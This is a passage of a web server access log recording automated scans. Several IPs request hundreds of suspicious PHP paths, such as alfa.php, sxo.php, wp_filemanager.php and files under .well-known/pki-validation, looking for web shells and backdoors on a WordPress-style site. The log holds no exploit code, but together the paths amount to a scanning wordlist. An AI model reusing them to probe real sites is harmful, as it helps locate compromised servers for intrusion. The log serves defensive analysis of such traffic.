/wp-includes/images/crystal/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:44 -0400] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:44 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:46 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:46 -0400] "GET /wp-content/wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:48 -0400] "GET /wp-includes/Requests/about.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:49 -0400] "GET /wp-content/uploads/id.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:50 -0400] "GET /.well-known/pki-validation/sxo.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:52 -0400] "GET /templates/atomic/templates.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:54 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:54 -0400] "GET /wp-admin/images/wp-ksv1i.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:55 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:57 -0400] "GET /wp-includes/css/page.template.1735117956.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:43:58 -0400] "GET /sck.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:00 -0400] "GET /css/kraoqapd.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:02 -0400] "GET /sbijnocj.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:03 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:05 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:06 -0400] "GET /wp-content/uploads/wpr-addons/forms/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:07 -0400] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:09 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:11 -0400] "GET /wp-admin/js/a2.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:13 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:15 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:16 -0400] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:17 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:18 -0400] "GET /wp-admin/css/daren.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:19 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:20 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/Ge/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:21 -0400] "GET /wp-admin/includes/zipp.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:23 -0400] "GET /wp-content/uploads/showupload.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:24 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:24 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:26 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:27 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/ovakvbycd.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:28 -0400] "GET /wp-admin/includes/class_api.php999 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:30 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:32 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:34 -0400] "GET /1rbxb768.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:35 -0400] "GET /he.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:36 -0400] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:37 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:40 -0400] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:41 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:43 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:45 -0400] "GET /wp-admin/js/widgets/jLFgZjjsqs.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:45 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:46 -0400] "GET /wp-content/themes/seotheme/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:48 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:49 -0400] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:51 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:53 -0400] "GET /wp-includes/yes.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:54 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:55 -0400] "GET /wp-content/termps.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:20 -0400] "GET /wp-admin/includes/moon.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:23 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:26 -0400] "GET /sxo.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:31 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:33 -0400] "GET /wp-content/themes/jobok/en.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:37 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:39 -0400] "GET /wp-content/themes/astra/inc/customizer/custom-controls/description/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:41 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:44 -0400] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:45 -0400] "GET /wp-content/plugins/bguoclz/ovaivknnc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:47 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:49 -0400] "GET /wp/ab.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:51 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:52 -0400] "GET /.well-known/pki-validation/asyaddpi.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:53 -0400] "GET /wp-admin/js/widgets/class.api.php999 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:56 -0400] "GET /tmp/.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:41:57 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:00 -0400] "GET /wp-includes/class-wp-session-href.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:01 -0400] "GET /wp-includes/js/tinymce/plugins/image/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:03 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:06 -0400] "GET /checkbex.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:10 -0400] "GET /wp-admin/maint/01imunify.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:13 -0400] "GET /.well-known/pki-validation/3c2b55bd-fabd-419b-9718-66fbcf89acc5.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:17 -0400] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:42:20 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:57 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:44:59 -0400] "GET /epdwm.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:01 -0400] "GET /wp-content/plugins/woocommerce/assets/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:03 -0400] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:04 -0400] "GET /wp-includes/Text/Diff/Renderer/eqw5de.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:05 -0400] "GET /wp-includes/css/kses.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:06 -0400] "GET /.well-known/acme-challenge/tiny.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:07 -0400] "GET /assets/images/206d2bdfbd.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:11 -0400] "GET /cvawk.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:14 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:17 -0400] "GET /wp-admin/js/widgets/text-widgets.min.js.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:19 -0400] "GET /wp-includes/1671b870622bf3admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:22 -0400] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:26 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:28 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:30 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:32 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:35 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:38 -0400] "GET /wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:42 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:43 -0400] "GET /wp-includes/Requests/library/about.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:45 -0400] "GET /.well-known/siuqzorv.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:47 -0400] "GET /wp-admin/css/colors/coffee/css.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:51 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:54 -0400] "GET /.well-known/pki-validation/ahzjhofz.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:57 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:45:59 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:04 -0400] "GET /wp-admin/js/widgets/sxo.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:05 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:08 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:11 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:12 -0400] "GET /components/attari.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:14 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:15 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:17 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:18 -0400] "GET /wp-admin/includes/legendneverdie.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:20 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:21 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:23 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:24 -0400] "GET /cong.php935 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:25 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:28 -0400] "GET /wp-content/plugins/portfolio-post-type/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:29 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:31 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:34 -0400] "GET /wp-content/languages/file.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:35 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:37 -0400] "GET /wp-includes/images/wthvideo.min.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:38 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:40 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:41 -0400] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:43 -0400] "GET /csxcvtg6v?key=51851b87a35f6a6288e1eef649afb2dccss.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:45 -0400] "GET /wp-admin/css/colors/sunrise/HmfdSRigQv.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:47 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:50 -0400] "GET /css/plugins.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:54 -0400] "GET /bovaxayy.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:46:57 -0400] "GET /wp-admin/css/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:47:00 -0400] "GET /wp-includes/ovackgowa.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:47:03 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:47:07 -0400] "GET /shirtkobain/mail.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [23/Apr/2025:22:47:27 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "-" 199.244.88.232 - - [23/Apr/2025:23:13:42 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 49.51.203.164 - - [23/Apr/2025:23:16:27 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 162.0.232.217 - - [23/Apr/2025:23:29:06 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [23/Apr/2025:23:29:10 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [23/Apr/2025:23:29:14 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [23/Apr/2025:23:29:16 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [23/Apr/2025:23:29:18 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [23/Apr/2025:23:29:20 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [23/Apr/2025:23:29:24 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [23/Apr/2025:23:29:26 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [23/Apr/2025:23:29:30 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [23/Apr/2025:23:29:33 -0400] "GET /.well-known/pki-validation/dropdown.php%3fpass=yanz HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [23/Apr/2025:23:29:35 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [23/Apr/2025:23:29:37 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [23/Apr/2025:23:29:40 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [23/Apr/2025:23:29:44 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [23/Apr/2025:23:29:47 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "get_local:DCV" 18.223.108.59 - - [23/Apr/2025:23:49:43 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 135.125.27.249 - - [24/Apr/2025:00:04:32 -0400] "GET /fwe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:04:37 -0400] "GET /wp-content/11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:04:42 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:04:47 -0400] "GET /.well-known/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:04:52 -0400] "GET /.well-known/pki-validation/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:04:58 -0400] "GET /wp-content/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:05:04 -0400] "GET /.tmb/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:05:10 -0400] "GET /images/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:05:19 -0400] "GET /wp-content/uploads/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:05:26 -0400] "GET /.well-known/acme-challenge/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:05:33 -0400] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:05:36 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:05:40 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:05:45 -0400] "GET /wp-content/themes/freeyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:05:51 -0400] "GET /wp-content/themes/erapress/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:05:58 -0400] "GET /wp-content/plugins/doyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:06:04 -0400] "GET /wp-content/themes/panama/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:06:10 -0400] "GET /wp-content/themes/moog/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:06:18 -0400] "GET /wp-content/uploads/2023/11/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:06:23 -0400] "GET /wp-content/uploads/2023/12/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:06:28 -0400] "GET /wp-content/themes/blogai/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:06:33 -0400] "GET /wp-content/themes/agwin/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:06:38 -0400] "GET /wp-content/themes/quext/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:06:43 -0400] "GET /wp-content/plugins/app-calendar/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:06:49 -0400] "GET /wp-content/smm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:06:53 -0400] "GET /jetpack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:06:58 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:07:03 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:07:09 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 